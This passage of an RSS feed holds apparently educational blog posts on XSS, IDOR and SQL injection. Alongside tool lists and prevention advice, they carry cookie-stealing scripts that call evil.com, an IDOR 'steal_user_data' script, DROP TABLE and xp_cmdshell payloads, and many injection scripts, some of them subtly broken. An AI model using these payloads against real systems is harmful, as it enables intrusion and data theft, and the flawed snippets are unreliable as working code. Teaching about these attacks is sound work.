document.body.appendChild(img);<br>&lt;/script&gt;</pre><pre>&lt;script&gt;<br>  const evilCode = document.location.href;<br>  document.write(&#39;&lt;img src=&quot;http://evilwebsite.com/steal?data=&#39; + escape(evilCode) + &#39;&quot;&gt;&#39;);<br>&lt;/script&gt;<br><br></pre><h4>DOM-based XSS:</h4><p>DOM-based XSS (Cross-Site Scripting) occurs when the client-side script manipulates the Document Object Model (DOM) of a web page. Unlike other types of XSS, the payload is not necessarily sent to the server; instead, the attack takes place solely on the client side.</p><p>Suppose there’s a web page that takes a user-supplied parameter from the URL and updates the page content dynamically. The JavaScript code on the page may look something like this:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>    &lt;meta charset=&quot;UTF-8&quot;&gt;<br>    &lt;title&gt;DOM-based XSS Example&lt;/title&gt;<br>    &lt;script&gt;<br>        document.addEventListener(&#39;DOMContentLoaded&#39;, function() {<br>            var urlParams = new URLSearchParams(window.location.search);<br>            var userInput = urlParams.get(&#39;input&#39;);<br>            document.getElementById(&#39;output&#39;).innerHTML = &#39;You searched for: &#39; + userInput;<br>        });<br>    &lt;/script&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;div id=&quot;output&quot;&gt;&lt;/div&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Now, a user visits the page with the following URL:</p><pre>https://example.com/page?input=&lt;script&gt;alert(&#39;DOM-based XSS&#39;)&lt;/script&gt;</pre><p>The JavaScript on the page takes the input parameter from the URL and sets it as the content of the output div. The page is vulnerable to DOM-based XSS because it directly manipulates the DOM without proper sanitization.</p><p>When the page loads with the provided URL, the injected script executes, and an alert saying ‘DOM-based XSS’ appears. The script is executed on the client side without the need to send the payload to the server.</p><pre>&lt;script&gt;<br>  // The vulnerable code below takes the value from the URL parameter and directly injects it into the HTML<br>  var urlParams = new URLSearchParams(window.location.search);<br>  var name = urlParams.get(&#39;name&#39;);<br>  document.getElementById(&#39;welcome-message&#39;).innerHTML = &#39;Welcome, &#39; + name + &#39;!&#39;;<br><br>  // Now we can execute any JavaScript code by manipulating the URL parameter<br>  var maliciousCode = &#39;&lt;img src=x onerror=alert(&quot;XSS Attack!&quot;)&gt;&#39;;<br>  window.location.href = &#39;https://example.com?name=&#39; + maliciousCode;<br>&lt;/script&gt;</pre><pre>&lt;script&gt;<br>  var maliciousCode = document.location.href.split(&#39;#&#39;)[1];<br>  var vulnerableElement = document.getElementById(&#39;vulnerable&#39;);<br>  vulnerableElement.innerHTML = decodeURIComponent(maliciousCode);<br>&lt;/script&gt;</pre><p>In this code snippet, we’re extracting the URL fragment identifier (the part after the #) and injecting it into an element with the ID &quot;vulnerable.&quot; This can allow an attacker to execute arbitrary JavaScript code on the victim&#39;s browser, potentially stealing sensitive information or performing unauthorized actions.</p><pre>&lt;script&gt;<br>  var evilPayload = document.cookie;<br>  var maliciousElement = document.createElement(&#39;img&#39;);<br>  maliciousElement.src = &#39;http://evil.com/steal.php?cookie=&#39; + encodeURIComponent(evilPayload);<br>  document.body.appendChild(maliciousElement);<br>&lt;/script&gt;</pre><h3><strong>Tools</strong></h3><p>There are several tools available for detecting and testing XSS vulnerabilities in web applications. These tools help security professionals, developers, and penetration testers identify and address XSS issues. Here are some popular XSS detection tools</p><h4>OWASP ZAP (Zed Attack Proxy):</h4><ul><li>OWASP ZAP is an open-source security tool designed for finding vulnerabilities in web applications. It includes automated scanners and various tools to identify XSS vulnerabilities.</li></ul><h4>Burp Suite:</h4><ul><li>Burp Suite is a widely used web application security testing tool. It includes features for scanning web applications for security vulnerabilities, including XSS. The Burp Scanner can automatically identify XSS vulnerabilities.</li></ul><h4>Netsparker:</h4><ul><li>Netsparker is an automated web application security scanner that helps identify and prioritize security vulnerabilities, including XSS. It provides a user-friendly interface for both beginners and experienced security professionals.</li></ul><h4>Acunetix:</h4><ul><li>Acunetix is a web vulnerability scanner that can automatically detect and assess XSS vulnerabilities in web applications. It offers various scanning options and integrates with the development lifecycle.</li></ul><h4>Nessus:</h4><ul><li>Nessus is a vulnerability scanning tool that can be used to identify a wide range of security issues, including XSS vulnerabilities. It provides comprehensive reports and recommendations.</li></ul><h4>AppSpider:</h4><ul><li>AppSpider, formerly known as Rapid7 AppSpider, is a dynamic application security testing (DAST) tool that includes features for identifying XSS vulnerabilities. It helps automate security testing in the development lifecycle.</li></ul><h4>Arachni:</h4><ul><li>Arachni is an open-source web application security scanner that can be used to identify various vulnerabilities, including XSS. It supports both automated and manual testing.</li></ul><h4>Detectify:</h4><ul><li>Detectify is a web security scanner that continuously analyzes web applications for vulnerabilities. It provides automated detection of XSS and other security issues.</li></ul><h4>W3af:</h4><ul><li>W3af is an open-source web application attack and audit framework that can be used to identify XSS vulnerabilities. It supports both automated and manual testing.</li></ul><h4>XSStrike:</h4><ul><li>XSStrike is an open-source XSS detection and exploitation toolkit. It can be used to identify XSS vulnerabilities and generate reports.</li></ul><h3>How to Prevent XSS Attacks:</h3><p>Preventing XSS (Cross-Site Scripting) attacks involves implementing various security measures to ensure that user input is properly validated, sanitized, and encoded.</p><p><strong>Input Validation:</strong></p><ul><li>Validate all user input on both the client and server sides. Ensure that input adheres to expected formats and lengths, rejecting any input that doesn’t meet criteria.</li></ul><p><strong>Output Encoding:</strong></p><ul><li>Encode user input before rendering it in HTML, JavaScript, or other contexts. Use context-specific encoding functions such as htmlspecialchars in PHP, encodeURIComponent in JavaScript, or similar functions in other programming languages.</li></ul><p><strong>Content Security Policy (CSP):</strong></p><ul><li>Implement a Content Security Policy to control which resources are allowed to be loaded onto a page. CSP can help mitigate the risk of XSS by restricting the execution of scripts from unauthorized sources.</li></ul><p><strong>HTTP Only Cookies:</strong></p><ul><li>Use the HTTP Only flag for cookies to prevent them from being accessed by client-side scripts. This helps mitigate the risk of session hijacking through XSS attacks.</li></ul><p><strong>Secure Cookies:</strong></p><ul><li>Set the Secure flag for cookies to ensure they are transmitted only over secure (HTTPS) connections, reducing the risk of interception.</li></ul><p><strong>Avoid Inline JavaScript:</strong></p><ul><li>Minimize the use of inline JavaScript and instead use external scripts. This reduces the attack surface for XSS vulnerabilities.</li></ul><p><strong>Use Frameworks and Libraries:</strong></p><ul><li>Employ web application frameworks and libraries that automatically handle input validation, output encoding, and other security features. Frameworks such as Django, Ruby on Rails, and Express.js have built-in protections against XSS.</li></ul><p><strong>Regular Security Audits:</strong></p><ul><li>Conduct regular security audits and code reviews to identify and address potential vulnerabilities. Automated security testing tools can also help detect common issues.</li></ul><p><strong>Browser Security Headers:</strong></p><ul><li>Utilize security headers, such as X-Content-Type-Options, X-Frame-Options, and X-XSS-Protection, to enhance browser security and protect against various types of attacks.</li></ul><p><strong>Avoid </strong><strong>eval() and </strong><strong>innerHTML:</strong></p><ul><li>Avoid using eval() and setting HTML using innerHTML with user-generated content, as these can introduce security vulnerabilities.</li></ul><p>To prevent XSS vulnerabilities, developers should implement secure coding practices, validate and sanitize user input, use proper output encoding, and employ security mechanisms such as Content Security Policy (CSP) to mitigate the risk of XSS attacks. Regular security audits and testing are also essential to identify and address potential vulnerabilities in web applications.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82130131e0b4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Insecure Direct Object References]]></title>
            <link>https://medium.com/@derya.cortuk/insecure-direct-object-references-460a3c08109e?source=rss-9f6799151dea------2</link>
            <guid isPermaLink="false">https://medium.com/p/460a3c08109e</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[idor-vulnerability]]></category>
            <category><![CDATA[idor]]></category>
            <dc:creator><![CDATA[Derya Cortuk]]></dc:creator>
            <pubDate>Wed, 31 Jan 2024 18:57:00 GMT</pubDate>
            <atom:updated>2024-01-31T20:08:38.354Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*J4JftnE0_N2wwYqlemyavg.png" /></figure><p>Insecure Direct Object References, IDOR, is a security vulnerability that occurs in web applications when user input is not properly validated or authorized, allowing attackers to access unauthorized resources or perform actions on behalf of other users.</p><p>In the context of IDOR, “direct object references” typically refer to references to internal implementation objects such as files, database keys, or other resources. When an application has an insecure direct object reference, it means that an attacker can manipulate input, such as URL parameters or form fields, to access data or perform actions they are not supposed to.</p><p><strong>How to detect IDOR vulnerabilities:</strong></p><p><strong>Identify the functionality:</strong> Look for any functionality in the target application that involves accessing or manipulating user-specific data.</p><p><strong>Understand the authorization mechanism: </strong>Determine how the application handles user authentication and authorization. This will help you identify potential IDOR vulnerabilities.</p><p><strong>Enumerate the objects: </strong>Make a list of all the objects or resources that the application handles, such as user profiles, files, or confidential data.</p><p><strong>Analyze the request parameters:</strong> Examine the request parameters used to access or manipulate these objects. Look for parameters that directly reference user-specific data.</p><p><strong>Manipulate the parameters: </strong>Try modifying the values of these parameters to access or manipulate objects that you shouldn’t have access to. For example, changing a user ID to another user’s ID to view their private information.</p><p><strong>Observe the responses: </strong>Analyze the responses from the application to identify any discrepancies or unexpected behavior. If you can access or modify objects that you shouldn’t be able to, you’ve likely found an IDOR vulnerability.</p><p><strong>Document and report:</strong> Once you’ve identified an IDOR vulnerability, document the steps to reproduce it and the potential impact it could have. Report it to the appropriate party, such as the application owner or a bug bounty program, if available.</p><p><strong>Here’s a simplified example to illustrate IDOR:</strong></p><p>Let’s say a web application has URLs like:</p><ul><li>View User Profile: example.com/profile?user_id=123</li></ul><p>The application is designed to only allow users to view their profiles.</p><p>However, if the application does not properly validate and enforce this restriction, an attacker could modify the user_id parameter to access other users&#39; profiles:</p><ul><li>example.com/profile?user_id=456</li></ul><p>Without proper authorization checks, the attacker gains unauthorized access to another user’s profile.</p><pre>import requests<br><br>def steal_user_data(user_id):<br>    url = f&quot;https://example.com/api/user/{user_id}&quot;<br>    <br>    headers = {<br>        &quot;Authorization&quot;: &quot;Bearer your_access_token&quot;<br>    }<br>    <br>    response = requests.get(url, headers=headers)<br>    <br>    if response.status_code == 200:<br>        user_data = response.json()<br>        print(&quot;User Data:&quot;)<br>        print(user_data)<br>    else:<br>        print(&quot;Failed to retrieve user data&quot;)<br><br># Usage: Replace &#39;your_access_token&#39; with a valid access token and &#39;user_id&#39; with the ID of the user you want to target<br>steal_user_data(&quot;user_id_to_exploit&quot;)</pre><p>This code snippet demonstrates how an attacker can bypass authorization and access sensitive user data by manipulating the user ID in the API endpoint.</p><h3>Tools</h3><p>Detecting Insecure Direct Object References (IDOR) typically involves a combination of manual testing and automated tools. Here are some tools commonly used for identifying IDOR vulnerabilities in web applications:</p><p><strong>Burp Suite: </strong>Burp Suite is a powerful web application security testing tool that includes features for scanning, crawling, and analyzing web applications. It’s widely used for finding various security vulnerabilities, including IDOR.</p><ul><li>Website: Burp Suite</li></ul><p><strong>OWASP Zed Attack Proxy (ZAP):</strong> ZAP is an open-source security testing tool maintained by OWASP. It provides automated scanners for detecting vulnerabilities, and it’s particularly useful for identifying IDOR issues.</p><ul><li>Website: OWASP ZAP</li></ul><p><strong>SQLMap: </strong>While SQLMap is primarily known for detecting SQL injection, it can also be used to identify certain types of IDOR vulnerabilities, especially those related to database access.</p><ul><li>Website: <a href="http://sqlmap.org/">SQLMap</a></li></ul><p><strong>Netsparker: </strong>Netsparker is a web application security scanner that automates the process of identifying vulnerabilities, including IDOR. It provides detailed reports and integrates with development tools.</p><ul><li>Website: <a href="https://www.netsparker.com/">Netsparker</a></li></ul><p><strong>Acunetix:</strong> Acunetix is another web vulnerability scanner that helps find security issues, including IDOR, in web applications. It’s designed to be user-friendly and offers comprehensive reporting.</p><ul><li>Website: <a href="https://www.acunetix.com/">Acunetix</a></li></ul><p><strong>Wapiti: </strong>Wapiti is an open-source web application vulnerability scanner that can identify various security weaknesses, including IDOR. It’s designed to be easy to use and provides detailed reports.</p><ul><li>Website: Wapiti</li></ul><p>Remember that while automated tools can be valuable for identifying certain types of vulnerabilities, manual testing, and thorough security reviews are also crucial. Additionally, ethical hacking and penetration testing should be conducted with proper authorization and in compliance with legal and ethical standards.</p><p>Preventing IDOR vulnerabilities involves implementing robust access controls, proper validation of user input, and ensuring that sensitive operations are only performed after confirming the user’s identity and permissions. Proper implementation of authorization mechanisms is crucial in securing web applications against IDOR attacks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=460a3c08109e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection]]></title>
            <link>https://medium.com/@derya.cortuk/sql-injection-71d04cd51edf?source=rss-9f6799151dea------2</link>
            <guid isPermaLink="false">https://medium.com/p/71d04cd51edf</guid>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Derya Cortuk]]></dc:creator>
            <pubDate>Wed, 31 Jan 2024 18:01:47 GMT</pubDate>
            <atom:updated>2024-02-15T10:59:25.933Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*ILiCX1TcTlYsJCCk.jpg" /><figcaption><a href="https://portswigger.net/web-security/sql-injection">https://portswigger.net/web-security/sql-injection</a></figcaption></figure><p>SQL Injection(SQLi), a malicious technique used by hackers to exploit vulnerabilities in web applications, is a dark and powerful weapon in the world of cybercrime. This sinister method allows attackers to inject malicious SQL code into a website’s database, enabling them to manipulate data, gain unauthorized access, and wreak havoc on unsuspecting victims.</p><p>The consequences of SQL Injection are far-reaching and devastating. It can lead to financial loss, reputational damage, and legal repercussions. Once a website falls victim to this malicious attack, the road to recovery is long and arduous. It requires extensive security measures, thorough code audits, and rebuilding trust with users who have been scarred by the breach.</p><p>There are several types of SQL injection, each with its characteristics.</p><p><strong>Here are some common types:</strong></p><p><strong>Classic SQL Injection:</strong> In classic SQL injection, attackers inject malicious SQL code into user input fields. This often occurs in login forms, search boxes, or any other input fields where user data is accepted without proper validation.</p><pre>Username: admin&#39;; DROP TABLE users; --</pre><pre>import mysql.connector<br><br>def login(username, password):<br>    try:<br>        conn = mysql.connector.connect(<br>            host=&quot;localhost&quot;,<br>            user=&quot;root&quot;,<br>            password=&quot;password&quot;,<br>            database=&quot;mydatabase&quot;<br>        )<br>        cursor = conn.cursor()<br>        <br>        # Vulnerable SQL query<br>        query = &quot;SELECT * FROM users WHERE username = &#39;{}&#39; AND password = &#39;{}&#39;&quot;.format(username, password)<br>        <br>        cursor.execute(query)<br>        result = cursor.fetchall()<br>        <br>        if len(result) &gt; 0:<br>            print(&quot;Login successful!&quot;)<br>        else:<br>            print(&quot;Invalid credentials!&quot;)<br>        <br>        conn.close()<br>    <br>    except mysql.connector.Error as error:<br>        print(&quot;Error connecting to MySQL: {}&quot;.format(error))<br><br>username = input(&quot;Enter username: &quot;)<br>password = input(&quot;Enter password: &quot;)<br>login(username, password)</pre><p>In this code snippet, we have a vulnerable SQL query that concatenates the username and password variables directly into the query string without any sanitization or parameterization. This leaves the door wide open for SQL injection attacks.</p><pre>import requests<br><br># The vulnerable website URL<br>url = &quot;http://example.com/login&quot;<br><br># The payload for the SQL injection attack<br>payload = &quot;&#39; OR &#39;1&#39;=&#39;1&#39; -- &quot;<br><br># The login credentials<br>username = &quot;admin&quot;<br>password = &quot;password&quot;<br><br># The malicious SQL injection attack<br>data = {<br>    &quot;username&quot;: username + payload,<br>    &quot;password&quot;: password<br>}<br><br># Sending the malicious request<br>response = requests.post(url, data=data)<br><br># Checking if the attack was successful<br>if &quot;Login successful&quot; in response.text:<br>    print(&quot;Congratulations! You&#39;ve successfully bypassed the login system.&quot;)<br>else:<br>    print(&quot;Oops! The SQL injection attack failed. Try a different payload.&quot;)</pre><p><strong>Blind SQL Injection: </strong>In blind SQL injection, the attacker does not directly see the result of the injected SQL code. Instead, they infer information based on the true or false responses of the application. This type is more challenging for attackers but can still lead to data extraction.</p><pre>Username: admin&#39; AND &#39;1&#39;=&#39;1&#39;; --</pre><pre>import requests<br><br>url = &quot;http://www.targetwebsite.com/login&quot;<br>payload = &quot;&#39; OR &#39;1&#39;=&#39;1&#39; UNION SELECT NULL,username,password FROM users -- &quot;<br><br>response = requests.post(url, data={&quot;username&quot;: payload, &quot;password&quot;: &quot;password&quot;})<br><br>if &quot;Successful login&quot; in response.text:<br>    print(&quot;Blind SQL Injection successful!&quot;)<br>else:<br>    print(&quot;Injection failed.&quot;)</pre><pre>def check_if_true(payload):<br>    url = &quot;https://example.com/login&quot; <br>    username = f&quot;admin&#39; AND {payload} AND &#39;1&#39;=&#39;1&#39;&quot;<br>    password = &quot;password&quot;<br><br>    data = {<br>        &quot;username&quot;: username,<br>        &quot;password&quot;: password<br>    }<br><br>    response = requests.post(url, data=data)<br>    return &quot;Login Successful&quot; in response.text<br><br>def exploit_blind_sqli():<br>    payload = &quot;SELECT COUNT(*) FROM users WHERE username LIKE &#39;a%&#39;&quot;<br>    result = &quot;&quot;<br><br>    for i in range(1, 50):<br>        if check_if_true(payload + f&quot; AND LENGTH(username)={i}&quot;):<br>            for j in range(32, 127):<br>                if check_if_true(payload + f&quot; AND ASCII(SUBSTRING(username, {i}, 1))={j}&quot;):<br>                    result += chr(j)<br>                    break<br><br>    return result<br><br>print(exploit_blind_sqli())</pre><p><strong>Time-Based Blind SQL Injection:</strong> This is a variation of blind SQL injection where the attacker introduces a delay in the response to confirm if the injected SQL statement is true or false. The delay helps in determining whether the injected condition is met.</p><pre>Username: admin&#39; AND IF(1=1, SLEEP(5), 0); --</pre><pre>import requests<br>import time<br><br>def perform_time_based_sqli(url):<br>    # The vulnerable parameter in the URL<br>    vulnerable_param = &quot;id&quot;<br><br>    # The payload for time-based SQL injection<br>    payload = f&quot;&#39; OR SLEEP(5) OR &#39;{time.sleep(0.5)}&quot;<br><br>    # Craft the malicious URL<br>    malicious_url = f&quot;{url}?{vulnerable_param}={payload}&quot;<br><br>    # Send the request and measure the response time<br>    start_time = time.time()<br>    response = requests.get(malicious_url)<br>    end_time = time.time()<br><br>    # Check if the response time indicates successful injection<br>    if end_time - start_time &gt; 5:<br>        print(&quot;Time-based SQL injection successful!&quot;)<br>    else:<br>        print(&quot;Injection failed.&quot;)<br><br># Usage example<br>target_url = &quot;http://example.com/vulnerable.php&quot;<br>perform_time_based_sqli(target_url)</pre><pre>import requests<br>import time<br><br>def perform_time_based_sqli(url):<br>    payload = &quot;&#39; OR SLEEP(5) -- &quot;<br>    start_time = time.time()<br>    response = requests.get(url + payload)<br>    end_time = time.time()<br><br>    if end_time - start_time &gt; 4:<br>        print(&quot;The website is vulnerable to Time-Based SQL Injection!&quot;)<br>    else:<br>        print(&quot;The website is not vulnerable to Time-Based SQL Injection.&quot;)<br><br><br>target_url = &quot;https://www.example.com/somepage.php?id=&quot;<br><br>perform_time_based_sqli(target_url)</pre><pre>import requests<br>import time<br><br>url = &quot;https://example.com/vulnerable-page.php&quot;<br>injection_point = &quot;id&quot;<br>query_delay = 5<br><br>def perform_injection(injection_value):<br>    payload = f&quot;1&#39; AND SLEEP({query_delay}) -- -&quot;<br>    params = {injection_point: payload}<br>    start_time = time.time()<br>    response = requests.get(url, params=params)<br>    end_time = time.time()<br>    elapsed_time = end_time - start_time<br><br>    if elapsed_time &gt;= query_delay:<br>        print(f&quot;The injection value {injection_value} is correct.&quot;)<br>    else:<br>        print(f&quot;The injection value {injection_value} is incorrect.&quot;)<br><br># Example usage<br>injection_value = &quot;admin&#39; OR &#39;1&#39;=&#39;1&quot;<br>perform_injection(injection_value)</pre><p><strong>Error-Based SQL Injection: </strong>In error-based SQL injection, attackers intentionally trigger SQL errors to obtain information about the structure of the database. Error messages generated by the database are exploited to gather details that aid in the attack.</p><pre>Username: admin&#39; OR 1=1; --</pre><pre>import requests<br><br># The vulnerable website URL<br>url = &quot;http://example.com/vulnerable_page.php&quot;<br><br># The payload for the SQL injection attack<br>payload = &quot;&#39; OR 1=1; -- &quot;<br><br># The complete URL with the payload<br>injected_url = f&quot;{url}?id={payload}&quot;<br><br># Send the request and print the response<br>response = requests.get(injected_url)<br>print(response.text)</pre><pre>import requests<br><br>def perform_injection(url, query):<br>    payload = f&quot;&#39; OR {query}--&quot;<br>    modified_url = url.replace(&quot;PARAMETER&quot;, payload)<br>    response = requests.get(modified_url)<br>    <br>    if &quot;Error&quot; in response.text:<br>        print(&quot;[+] Injection successful!&quot;)<br>    else:<br>        print(&quot;[-] Injection failed.&quot;)<br><br># Usage example<br>url = &quot;https://example.com/somepage?param=PARAMETER&quot;<br>query = &quot;SELECT COUNT(*) FROM users WHERE username = &#39;admin&#39; AND 1=0 UNION SELECT 1--&quot;<br><br>perform_injection(url, query)</pre><p>In the perform_injection function, we take a target URL and a SQL query as input. The payload variable contains the injection payload that will attempt to bypass the authentication logic. We then replace the placeholder &quot;PARAMETER&quot; in the URL with the payload.</p><p>Next, we send a GET request to the modified URL. If the response contains an error message, we consider the injection successful. Otherwise, we assume the injection failed.</p><p><strong>Union-Based SQL Injection:</strong> Union-based SQL injection involves exploiting the UNION SQL operator to combine the result of the original query with the result of an injected query. This can be used to extract data from other tables.</p><pre>Input: &#39; UNION SELECT username, password FROM users; --</pre><pre>import requests<br><br>def union_based_injection(url, query):<br>    # Craft the payload for Union-Based SQL Injection<br>    payload = f&quot;&#39; UNION SELECT {query}-- &quot;<br><br>    # Send the malicious request<br>    response = requests.get(url + payload)<br><br>    # Process and display the response<br>    print(response.text)<br><br># Usage Example<br>url = &quot;http://example.com/sqli-vulnerable-page&quot;<br>query = &quot;column1, column2, column3 FROM users&quot;<br>union_based_injection(url, query)</pre><pre>import requests<br><br>def perform_union_based_attack(url, vulnerable_parameter):<br>    payload = &quot;&#39; UNION SELECT 1,2,3,4,5,username,password FROM users -- &quot;<br>    params = {vulnerable_parameter: payload}<br>    response = requests.get(url, params=params)<br>    if response.status_code == 200:<br>        print(&quot;Successful Union-Based SQL Injection! Here are the results:&quot;)<br>        print(response.text)<br>    else:<br>        print(&quot;Injection failed. Maybe the website is patched or not vulnerable.&quot;)<br><br># Usage example<br>target_url = &quot;https://example.com/login.php&quot;<br>vulnerable_param = &quot;username&quot;<br>perform_union_based_attack(target_url, vulnerable_param)</pre><p><strong>Out-of-Band SQL Injection:</strong> In out-of-band SQL injection, the attacker retrieves data using a different channel than the one used for the injection. This can involve making DNS requests, triggering HTTP requests, or other out-of-band communication.</p><pre># DNS-based<br>Input: &#39;; EXEC xp_cmdshell(&#39;nslookup malicious.com&#39;); --</pre><pre>import requests<br><br>def union_based_injection(url, query):<br>    # Craft the payload for Union-Based SQL Injection<br>    payload = f&quot;&#39; UNION SELECT {query}-- &quot;<br><br>    # Send the malicious request<br>    response = requests.get(url + payload)<br><br>    # Process and display the response<br>    print(response.text)<br><br># Usage Example<br>url = &quot;http://example.com/sqli-vulnerable-page&quot;<br>query = &quot;column1, column2, column3 FROM users&quot;<br>union_based_injection(url, query)<br><br><br></pre><p>Detecting SQL injection vulnerabilities in web applications requires a combination of manual testing and automated tools.</p><p><strong>Here are some popular tools commonly used for SQL injection detection:</strong></p><p><strong>SQLMap:</strong> SQLMap is one of the most powerful and widely used open-source penetration testing tools specifically designed for detecting and exploiting SQL injection vulnerabilities. It supports various database management systems (DBMS) and provides options for automatic detection and exploitation.</p><p>Website: <a href="http://sqlmap.org/">SQLMap</a></p><p><strong>Burp Suite:</strong> Burp Suite is a comprehensive web application security testing tool that includes features for scanning, crawling, and analyzing web applications. Its functionality can be extended with various plugins, and it provides both free and commercial versions.</p><p>Website: <a href="https://portswigger.net/">Burp Suite</a></p><p><strong>Netsparker: </strong>Netsparker is a web application security scanner that helps identify and remediate various vulnerabilities, including SQL injection. It offers automatic detection, detailed reporting, and integration with development tools.</p><p>Website: <a href="https://www.netsparker.com/">Netsparker</a></p><p><strong>Acunetix:</strong> Acunetix is a web vulnerability scanner that checks for various security issues, including SQL injection. It provides a user-friendly interface, automatic scanning, and comprehensive reporting.</p><p>Website: <a href="https://www.acunetix.com/">Acunetix</a></p><p><strong>AppScan: </strong>IBM Security AppScan is an enterprise-level application security testing solution. It helps identify and remediate security vulnerabilities, including SQL injection, in web applications and web services.</p><p>Website:<a href="https://www.ibm.com/docs/en/dsm?topic=guide-appscan-enterprise-scanner-overview"> IBM Security AppScan</a></p><p><strong>Zed Attack Proxy (ZAP):</strong> ZAP is an open-source security testing tool maintained by OWASP. It includes automated scanners for finding vulnerabilities in web applications, including SQL injection.</p><p>Website: <a href="https://www.zaproxy.org/">OWASP Zed Attack Proxy (ZAP)</a></p><p><strong>Wapiti:</strong> Wapiti is an open-source web application vulnerability scanner that can identify various security weaknesses, including SQL injection. It is designed to be easy to use and provides detailed reports.</p><p>Website: <a href="https://wapiti-scanner.github.io/">Wapiti</a></p><p>When using these tools, it’s important to do so responsibly and ethically, ensuring that you have proper authorization to test the security of the web applications. Additionally, manual testing and code review should complement automated tools to achieve a thorough security assessment.</p><h3>How to Prevent SQL Injection:</h3><p>Preventing SQL injection involves implementing various security measures to ensure that user input is properly validated, sanitized, and parameterized before being used in SQL queries.</p><h4>Use Parameterized Statements (Prepared Statements):</h4><ul><li>Instead of constructing SQL queries by concatenating strings, use parameterized statements provided by the programming language or framework. Parameterized queries automatically handle the escaping of user input, making it more difficult for attackers to inject malicious SQL code.</li></ul><pre>cursor.execute(&quot;SELECT * FROM users WHERE username = ? AND password = ?&quot;, (user_input_username, user_input_password))</pre><h4>Input Validation:</h4><ul><li>Validate and sanitize user input before using it in SQL queries. Ensure that input adheres to expected formats and lengths. Use whitelisting to only allow certain types of input.</li></ul><h4>Stored Procedures:</h4><ul><li>Use stored procedures to encapsulate SQL logic on the database server. Stored procedures can help prevent SQL injection by separating SQL code from user input.</li></ul><h4>Least Privilege Principle:</h4><ul><li>Assign the least privilege necessary to database accounts. Avoid using accounts with excessive permissions. If an account only needs read access, grant only read access.</li></ul><h4>Web Application Firewalls (WAFs):</h4><ul><li>Implement a Web Application Firewall that can detect and block SQL injection attempts. WAFs can act as an additional layer of defense against various web application attacks.</li></ul><h4>ORMs (Object-Relational Mappers):</h4><ul><li>Use Object-Relational Mappers like Hibernate, Entity Framework, or Sequelize, which often provide built-in protection against SQL injection by abstracting SQL interactions.</li></ul><h4>Whitelist Input Filtering:</h4><ul><li>Use whitelist input filtering to allow only specific characters or patterns in user input. This helps prevent the injection of special characters that could be used in SQL injection attacks.</li></ul><h4>Regular Security Audits:</h4><ul><li>Conduct regular security audits and code reviews to identify and address potential vulnerabilities, including SQL injection. Automated code analysis tools can assist in detecting such issues.</li></ul><h4>Database Connection Pooling:</h4><ul><li>Use database connection pooling mechanisms provided by frameworks or libraries. Connection pooling can help manage database connections efficiently and reduce the risk of SQL injection.</li></ul><h4>Error Handling:</h4><ul><li>Implement proper error handling without exposing detailed error messages to users. Display generic error messages to users and log detailed errors for internal use only.</li></ul><h4>Content Security Policy (CSP):</h4><ul><li>Implement a Content Security Policy to mitigate the risk of XSS attacks, which could potentially lead to SQL injection vulnerabilities.</li></ul><p>By combining these practices, developers can significantly reduce the risk of SQL injection attacks and enhance the overall security of their web applications. It’s crucial to follow a defense-in-depth strategy, incorporating multiple layers of security measures.</p><p><strong>Note: </strong>The provided SQL code examples are presented to understand SQL injection and develop defense strategies. However, using these codes in real systems or on others’ systems is unethical and may be illegal. These code examples are solely for informational and educational purposes. In real applications, you should always work to identify and fix security vulnerabilities in a responsible and authorized manner.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=71d04cd51edf" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>